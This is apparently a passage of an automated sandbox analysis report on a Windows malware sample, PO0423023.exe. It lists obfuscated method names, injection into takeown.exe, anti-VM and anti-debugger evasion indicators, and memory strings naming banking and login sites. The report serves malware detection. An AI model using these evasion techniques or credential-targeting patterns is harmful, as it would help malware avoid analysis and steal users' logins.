Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, eeyM44SVb8AL8WXWa3.cs High entropy of concatenated method names: 'WR8iXEv40O', 'HqZi9g0Kp1', 'jdZiIU0RGc', 'j7kiAxVYPN', 'h2wiaC7OXS', 'h2FiP11hPw', 'sPPiEBSiFa', 'osWitgoqTq', 'RBUi1VUt2m', 'UdSichUf9l'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, Yi8DKQqZawHni7d49y.cs High entropy of concatenated method names: 'Dispose', 'nOXs7GKwM3', 'zEHh6qrlTG', 'To6RRwthr3', 'djQs3ghFRu', 'eVAsz28aw4', 'ProcessDialogKey', 'H30hwJVT6C', 'L0vhspkuuC', 'iWChhnsat1'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, zFkDvfDJ1gP7qUP060.cs High entropy of concatenated method names: 'gvjaWT5RJn', 'LTyadnT7rr', 'G6ia5ocZQ2', 'H6Faxkw0jW', 'Soha6di00t', 'u2maDyojF5', 'LqgaHEpmW0', 'FeuaNYM93Z', 'fBHaVP06wZ', 'xSIaTinNCt'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, PvCYnyOPvX6W6wBKo1.cs High entropy of concatenated method names: 'gMBLU7PRGF', 'pN1LbIj8Yr', 'qAnLuLW45K', 'p6sLiek7qC', 'H32L2pI6p6', 'D31LfoFsYl', 'vZgLCb82p5', 'GDdLB58cnl', 'bQVLl3DfWE', 'rdkLgrdRBC'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, StKVUPZcBlUxaFRHDJ.cs High entropy of concatenated method names: 'yoau5J6Qtd', 'ov2uxlWgFj', 'Satuv1I2LW', 'vZHuQaLVLC', 'xwpuSuByRn', 'O1DumSSBVJ', 'yOVuppPbrA', 'ehxuobBnYA', 'bkou7xMhlh', 'JtTu3Vr6in'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, G33qJBfUvyZ1kt5MnW.cs High entropy of concatenated method names: 'eyg2njcgLc', 'e1a2JhNBue', 'FujiDv5r9Q', 'pHDiH2ZqP1', 'thpiN5loDf', 'JwViVd6uCj', 'MvoiTocv43', 'sbwiqoWbbk', 'WaviOimpB5', 'Vg2iWEfLdS'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, bkhDR0gBnt5ESFV6MB.cs High entropy of concatenated method names: 'B15Cb8du8B', 'gy0CirerEa', 'Q8YCfG4LqW', 'U3Mf3iFxcl', 'V0Qfz3qmnJ', 'F2gCw7HkDc', 'vYxCsNTUEV', 'WunCheZclT', 'VoXCLwSeYF', 'YV5CK0Hhkb'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, EE4LSlpX6xbw7XooTt.cs High entropy of concatenated method names: 'oktsCTeeSu', 'dJpsB94YsR', 'Brdsg5Qpbm', 'WrCsGSNDyF', 'mifsarZfgy', 'QfbsPr3MVX', 'r2lkaCI5dj7p8X5DvW', 'QPChKk6hNwcgQndaPk', 'hbhssYHtl0', 'S2ksL9NkRI'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, Qp6uO59qxem2HABiiF.cs High entropy of concatenated method names: 'A1wCyoEoSo', 'Q2fCM1u2uv', 'CIBC44jp3M', 'QsUCX1j6AY', 'dD6CnmT6rI', 'wNmC97XEmZ', 'smOCJOyh9K', 'F2TCImdPbR', 'l2MCAkDeh6', 'elSCjArtwf'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, CZRFDuF4wXk7KVQbuU.cs High entropy of concatenated method names: 'iAtYIaE0oS', 'NJ1YAra7JL', 'of6Y8jrhQR', 'Y15Y6MD8TU', 'ffYYHChXTO', 'YYMYNdsKHL', 'ExRYT2TCnP', 'WVGYqS1A41', 'nMcYWK5nJV', 's1dYkoqS1D'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, xmwo4nzXQnm6L6biHf.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'RVt1YWNtZQ', 'LqA1a1kL60', 'jCP1PQasNS', 'aSW1EBBlE8', 'i1O1tHDhnZ', 'Xht11Qy7UO', 'DXJ1cAMVit'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, gId7R1xtv5qvltUpOgD.cs High entropy of concatenated method names: 'boD1yNPC8A', 'aGs1McI90t', 'xfP1436rHx', 'Jpu1X0P0Bf', 'u1d1nFGpjO', 'yFr19xI90S', 'k6V1JbutRm', 'DBa1IBMUFP', 'myM1A86Cpj', 'tDL1juePlx'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, frbspncIj0Mb3SxCEi.cs High entropy of concatenated method names: 'HSF4jjOHy', 'vqCX6bwlC', 'qv39UeG1B', 'WXxJwj68R', 'lltAAFmke', 'vyBj0paGK', 'fFn24qTtMopvmnMZ8l', 'm1ublQnGgfowp5lBkV', 'YWytWcYjF', 'So7cAjTb4'
Source: 0.2.PO0423023.exe.9800000.13.raw.unpack, WIxW0KrGrBv3md8uBH.cs High entropy of concatenated method names: 'KX6fUPu0PO', 'jAGfubSBOf', 'cvWf2XoLcM', 'L0QfCPxmmy', 'nsWfBsPWlc', 'NKK2SjnA02', 'cgh2meOsYM', 'YIs2p3DJ7u', 'S4X2oGjFZE', 'tyG27GJgSs'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, ltE0avI4I0hyZvCU5j.cs High entropy of concatenated method names: 'k771sxJFPM', 'UDW1LtmPYL', 'lRA1KmyU3N', 'mOR1bSQNMj', 'ldS1ua6SUB', 'NrG12Ukn7a', 'Ymx1fkOpIx', 'DFXtpZ3ceD', 'lRDtoydspg', 'ufWt7nZ3g0'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, NVxuErESiai0KcC7Cu.cs High entropy of concatenated method names: 'XKgEouNM97', 'M8AE3oDqip', 'ipMtwrrcF2', 'u8sts2SMjM', 'MtVEkQrTDX', 'toqEd6wkyd', 'nRvEZfQY1C', 'g3bE5cjf84', 'UB8ExW2Qub', 'gXMEvqX7My'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, bN4uOtxHXvrsGksFasU.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'DrQc5oCk5J', 'Juxcxa40FQ', 'DjXcvWtZ2G', 'LhycQVhl13', 'zf5cSAPley', 'N4icmuwOFN', 'XYXcpaD39L'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, zrXBMPXMSZEvUKF6Q6.cs High entropy of concatenated method names: 'ni6tbDmnMW', 'Bb7tu0QyvS', 'a3Ftijm6YV', 'GHft2fX6JI', 'OAqtfkAPaf', 'uXctCBy7cp', 'hAmtBfyhnw', 'XNEtltMI9y', 'BFHtgoIW6i', 'AuGtGjYbZ0'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, SxhSIR6Z7u1wCxw4Af.cs High entropy of concatenated method names: 'ToString', 'fyZPk0XOhk', 'v6CP68RBi1', 'pR3PD8JgHZ', 'sTbPHgwd4R', 'j3RPN6MDka', 'TNmPVe5eYg', 'keCPTAF0jy', 'f2OPqw7eTp', 'IioPOKZvIp'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, eeyM44SVb8AL8WXWa3.cs High entropy of concatenated method names: 'WR8iXEv40O', 'HqZi9g0Kp1', 'jdZiIU0RGc', 'j7kiAxVYPN', 'h2wiaC7OXS', 'h2FiP11hPw', 'sPPiEBSiFa', 'osWitgoqTq', 'RBUi1VUt2m', 'UdSichUf9l'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, Yi8DKQqZawHni7d49y.cs High entropy of concatenated method names: 'Dispose', 'nOXs7GKwM3', 'zEHh6qrlTG', 'To6RRwthr3', 'djQs3ghFRu', 'eVAsz28aw4', 'ProcessDialogKey', 'H30hwJVT6C', 'L0vhspkuuC', 'iWChhnsat1'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, zFkDvfDJ1gP7qUP060.cs High entropy of concatenated method names: 'gvjaWT5RJn', 'LTyadnT7rr', 'G6ia5ocZQ2', 'H6Faxkw0jW', 'Soha6di00t', 'u2maDyojF5', 'LqgaHEpmW0', 'FeuaNYM93Z', 'fBHaVP06wZ', 'xSIaTinNCt'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, PvCYnyOPvX6W6wBKo1.cs High entropy of concatenated method names: 'gMBLU7PRGF', 'pN1LbIj8Yr', 'qAnLuLW45K', 'p6sLiek7qC', 'H32L2pI6p6', 'D31LfoFsYl', 'vZgLCb82p5', 'GDdLB58cnl', 'bQVLl3DfWE', 'rdkLgrdRBC'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, StKVUPZcBlUxaFRHDJ.cs High entropy of concatenated method names: 'yoau5J6Qtd', 'ov2uxlWgFj', 'Satuv1I2LW', 'vZHuQaLVLC', 'xwpuSuByRn', 'O1DumSSBVJ', 'yOVuppPbrA', 'ehxuobBnYA', 'bkou7xMhlh', 'JtTu3Vr6in'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, G33qJBfUvyZ1kt5MnW.cs High entropy of concatenated method names: 'eyg2njcgLc', 'e1a2JhNBue', 'FujiDv5r9Q', 'pHDiH2ZqP1', 'thpiN5loDf', 'JwViVd6uCj', 'MvoiTocv43', 'sbwiqoWbbk', 'WaviOimpB5', 'Vg2iWEfLdS'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, bkhDR0gBnt5ESFV6MB.cs High entropy of concatenated method names: 'B15Cb8du8B', 'gy0CirerEa', 'Q8YCfG4LqW', 'U3Mf3iFxcl', 'V0Qfz3qmnJ', 'F2gCw7HkDc', 'vYxCsNTUEV', 'WunCheZclT', 'VoXCLwSeYF', 'YV5CK0Hhkb'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, EE4LSlpX6xbw7XooTt.cs High entropy of concatenated method names: 'oktsCTeeSu', 'dJpsB94YsR', 'Brdsg5Qpbm', 'WrCsGSNDyF', 'mifsarZfgy', 'QfbsPr3MVX', 'r2lkaCI5dj7p8X5DvW', 'QPChKk6hNwcgQndaPk', 'hbhssYHtl0', 'S2ksL9NkRI'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, Qp6uO59qxem2HABiiF.cs High entropy of concatenated method names: 'A1wCyoEoSo', 'Q2fCM1u2uv', 'CIBC44jp3M', 'QsUCX1j6AY', 'dD6CnmT6rI', 'wNmC97XEmZ', 'smOCJOyh9K', 'F2TCImdPbR', 'l2MCAkDeh6', 'elSCjArtwf'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, CZRFDuF4wXk7KVQbuU.cs High entropy of concatenated method names: 'iAtYIaE0oS', 'NJ1YAra7JL', 'of6Y8jrhQR', 'Y15Y6MD8TU', 'ffYYHChXTO', 'YYMYNdsKHL', 'ExRYT2TCnP', 'WVGYqS1A41', 'nMcYWK5nJV', 's1dYkoqS1D'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, xmwo4nzXQnm6L6biHf.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'RVt1YWNtZQ', 'LqA1a1kL60', 'jCP1PQasNS', 'aSW1EBBlE8', 'i1O1tHDhnZ', 'Xht11Qy7UO', 'DXJ1cAMVit'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, gId7R1xtv5qvltUpOgD.cs High entropy of concatenated method names: 'boD1yNPC8A', 'aGs1McI90t', 'xfP1436rHx', 'Jpu1X0P0Bf', 'u1d1nFGpjO', 'yFr19xI90S', 'k6V1JbutRm', 'DBa1IBMUFP', 'myM1A86Cpj', 'tDL1juePlx'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, frbspncIj0Mb3SxCEi.cs High entropy of concatenated method names: 'HSF4jjOHy', 'vqCX6bwlC', 'qv39UeG1B', 'WXxJwj68R', 'lltAAFmke', 'vyBj0paGK', 'fFn24qTtMopvmnMZ8l', 'm1ublQnGgfowp5lBkV', 'YWytWcYjF', 'So7cAjTb4'
Source: 0.2.PO0423023.exe.4073bd0.9.raw.unpack, WIxW0KrGrBv3md8uBH.cs High entropy of concatenated method names: 'KX6fUPu0PO', 'jAGfubSBOf', 'cvWf2XoLcM', 'L0QfCPxmmy', 'nsWfBsPWlc', 'NKK2SjnA02', 'cgh2meOsYM', 'YIs2p3DJ7u', 'S4X2oGjFZE', 'tyG27GJgSs'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, ltE0avI4I0hyZvCU5j.cs High entropy of concatenated method names: 'k771sxJFPM', 'UDW1LtmPYL', 'lRA1KmyU3N', 'mOR1bSQNMj', 'ldS1ua6SUB', 'NrG12Ukn7a', 'Ymx1fkOpIx', 'DFXtpZ3ceD', 'lRDtoydspg', 'ufWt7nZ3g0'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, NVxuErESiai0KcC7Cu.cs High entropy of concatenated method names: 'XKgEouNM97', 'M8AE3oDqip', 'ipMtwrrcF2', 'u8sts2SMjM', 'MtVEkQrTDX', 'toqEd6wkyd', 'nRvEZfQY1C', 'g3bE5cjf84', 'UB8ExW2Qub', 'gXMEvqX7My'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, bN4uOtxHXvrsGksFasU.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'DrQc5oCk5J', 'Juxcxa40FQ', 'DjXcvWtZ2G', 'LhycQVhl13', 'zf5cSAPley', 'N4icmuwOFN', 'XYXcpaD39L'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, zrXBMPXMSZEvUKF6Q6.cs High entropy of concatenated method names: 'ni6tbDmnMW', 'Bb7tu0QyvS', 'a3Ftijm6YV', 'GHft2fX6JI', 'OAqtfkAPaf', 'uXctCBy7cp', 'hAmtBfyhnw', 'XNEtltMI9y', 'BFHtgoIW6i', 'AuGtGjYbZ0'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, SxhSIR6Z7u1wCxw4Af.cs High entropy of concatenated method names: 'ToString', 'fyZPk0XOhk', 'v6CP68RBi1', 'pR3PD8JgHZ', 'sTbPHgwd4R', 'j3RPN6MDka', 'TNmPVe5eYg', 'keCPTAF0jy', 'f2OPqw7eTp', 'IioPOKZvIp'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, eeyM44SVb8AL8WXWa3.cs High entropy of concatenated method names: 'WR8iXEv40O', 'HqZi9g0Kp1', 'jdZiIU0RGc', 'j7kiAxVYPN', 'h2wiaC7OXS', 'h2FiP11hPw', 'sPPiEBSiFa', 'osWitgoqTq', 'RBUi1VUt2m', 'UdSichUf9l'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, Yi8DKQqZawHni7d49y.cs High entropy of concatenated method names: 'Dispose', 'nOXs7GKwM3', 'zEHh6qrlTG', 'To6RRwthr3', 'djQs3ghFRu', 'eVAsz28aw4', 'ProcessDialogKey', 'H30hwJVT6C', 'L0vhspkuuC', 'iWChhnsat1'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, zFkDvfDJ1gP7qUP060.cs High entropy of concatenated method names: 'gvjaWT5RJn', 'LTyadnT7rr', 'G6ia5ocZQ2', 'H6Faxkw0jW', 'Soha6di00t', 'u2maDyojF5', 'LqgaHEpmW0', 'FeuaNYM93Z', 'fBHaVP06wZ', 'xSIaTinNCt'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, PvCYnyOPvX6W6wBKo1.cs High entropy of concatenated method names: 'gMBLU7PRGF', 'pN1LbIj8Yr', 'qAnLuLW45K', 'p6sLiek7qC', 'H32L2pI6p6', 'D31LfoFsYl', 'vZgLCb82p5', 'GDdLB58cnl', 'bQVLl3DfWE', 'rdkLgrdRBC'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, StKVUPZcBlUxaFRHDJ.cs High entropy of concatenated method names: 'yoau5J6Qtd', 'ov2uxlWgFj', 'Satuv1I2LW', 'vZHuQaLVLC', 'xwpuSuByRn', 'O1DumSSBVJ', 'yOVuppPbrA', 'ehxuobBnYA', 'bkou7xMhlh', 'JtTu3Vr6in'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, G33qJBfUvyZ1kt5MnW.cs High entropy of concatenated method names: 'eyg2njcgLc', 'e1a2JhNBue', 'FujiDv5r9Q', 'pHDiH2ZqP1', 'thpiN5loDf', 'JwViVd6uCj', 'MvoiTocv43', 'sbwiqoWbbk', 'WaviOimpB5', 'Vg2iWEfLdS'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, bkhDR0gBnt5ESFV6MB.cs High entropy of concatenated method names: 'B15Cb8du8B', 'gy0CirerEa', 'Q8YCfG4LqW', 'U3Mf3iFxcl', 'V0Qfz3qmnJ', 'F2gCw7HkDc', 'vYxCsNTUEV', 'WunCheZclT', 'VoXCLwSeYF', 'YV5CK0Hhkb'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, EE4LSlpX6xbw7XooTt.cs High entropy of concatenated method names: 'oktsCTeeSu', 'dJpsB94YsR', 'Brdsg5Qpbm', 'WrCsGSNDyF', 'mifsarZfgy', 'QfbsPr3MVX', 'r2lkaCI5dj7p8X5DvW', 'QPChKk6hNwcgQndaPk', 'hbhssYHtl0', 'S2ksL9NkRI'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, Qp6uO59qxem2HABiiF.cs High entropy of concatenated method names: 'A1wCyoEoSo', 'Q2fCM1u2uv', 'CIBC44jp3M', 'QsUCX1j6AY', 'dD6CnmT6rI', 'wNmC97XEmZ', 'smOCJOyh9K', 'F2TCImdPbR', 'l2MCAkDeh6', 'elSCjArtwf'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, CZRFDuF4wXk7KVQbuU.cs High entropy of concatenated method names: 'iAtYIaE0oS', 'NJ1YAra7JL', 'of6Y8jrhQR', 'Y15Y6MD8TU', 'ffYYHChXTO', 'YYMYNdsKHL', 'ExRYT2TCnP', 'WVGYqS1A41', 'nMcYWK5nJV', 's1dYkoqS1D'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, xmwo4nzXQnm6L6biHf.cs High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'RVt1YWNtZQ', 'LqA1a1kL60', 'jCP1PQasNS', 'aSW1EBBlE8', 'i1O1tHDhnZ', 'Xht11Qy7UO', 'DXJ1cAMVit'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, gId7R1xtv5qvltUpOgD.cs High entropy of concatenated method names: 'boD1yNPC8A', 'aGs1McI90t', 'xfP1436rHx', 'Jpu1X0P0Bf', 'u1d1nFGpjO', 'yFr19xI90S', 'k6V1JbutRm', 'DBa1IBMUFP', 'myM1A86Cpj', 'tDL1juePlx'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, frbspncIj0Mb3SxCEi.cs High entropy of concatenated method names: 'HSF4jjOHy', 'vqCX6bwlC', 'qv39UeG1B', 'WXxJwj68R', 'lltAAFmke', 'vyBj0paGK', 'fFn24qTtMopvmnMZ8l', 'm1ublQnGgfowp5lBkV', 'YWytWcYjF', 'So7cAjTb4'
Source: 0.2.PO0423023.exe.40f75f0.8.raw.unpack, WIxW0KrGrBv3md8uBH.cs High entropy of concatenated method names: 'KX6fUPu0PO', 'jAGfubSBOf', 'cvWf2XoLcM', 'L0QfCPxmmy', 'nsWfBsPWlc', 'NKK2SjnA02', 'cgh2meOsYM', 'YIs2p3DJ7u', 'S4X2oGjFZE', 'tyG27GJgSs'
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: PO0423023.exe PID: 3648, type: MEMORYSTR
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\PO0423023.exe Memory allocated: B40000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Memory allocated: 2470000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Memory allocated: 4470000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Memory allocated: 7130000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Memory allocated: 6E90000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Memory allocated: 8130000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Memory allocated: 9130000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Memory allocated: 9890000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO0423023.exe Memory allocated: 7130000 memory reserve | memory write watch Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\PO0423023.exe Code function: 3_2_01A0096E rdtsc 3_2_01A0096E
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\PO0423023.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\takeown.exe Window / User API: threadDelayed 2613 Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe Window / User API: threadDelayed 7359 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\PO0423023.exe API coverage: 0.7 %
Source: C:\Windows\SysWOW64\takeown.exe API coverage: 2.6 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\PO0423023.exe TID: 6388 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe TID: 3116 Thread sleep count: 2613 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe TID: 3116 Thread sleep time: -5226000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe TID: 3116 Thread sleep count: 7359 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\takeown.exe TID: 3116 Thread sleep time: -14718000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\BfhsBJESSmvrxvvTUcmuRbsoDWHhTcMOtxhWkIEDZkirMcGdurpwUW\uFKwxSqRZbIimWVtjS.exe TID: 6096 Thread sleep time: -35000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\takeown.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\takeown.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\takeown.exe Code function: 6_2_032FBAC0 FindFirstFileW,FindNextFileW,FindClose, 6_2_032FBAC0
Source: C:\Users\user\Desktop\PO0423023.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: 43PI9J.6.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: takeown.exe, 00000006.00000002.3266159906.00000000083C8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: EVMware20,11696428655^
Source: 43PI9J.6.dr Binary or memory string: discord.comVMware20,11696428655f
Source: 43PI9J.6.dr Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 43PI9J.6.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 43PI9J.6.dr Binary or memory string: global block list test formVMware20,11696428655
Source: 43PI9J.6.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: 43PI9J.6.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 43PI9J.6.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 43PI9J.6.dr Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 43PI9J.6.dr Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: 43PI9J.6.dr Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 43PI9J.6.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 43PI9J.6.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 43PI9J.6.dr Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: takeown.exe, 00000006.00000002.3266159906.00000000083C8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: kers.comVMware20,11696428655}
Source: 43PI9J.6.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: takeown.exe, 00000006.00000002.3261394399.00000000035AE000.00000004.00000020.00020000.00000000.sdmp, uFKwxSqRZbIimWVtjS.exe, 00000008.00000002.3262134884.000000000159F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000009.00000002.2805518146.000001BAEE95C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
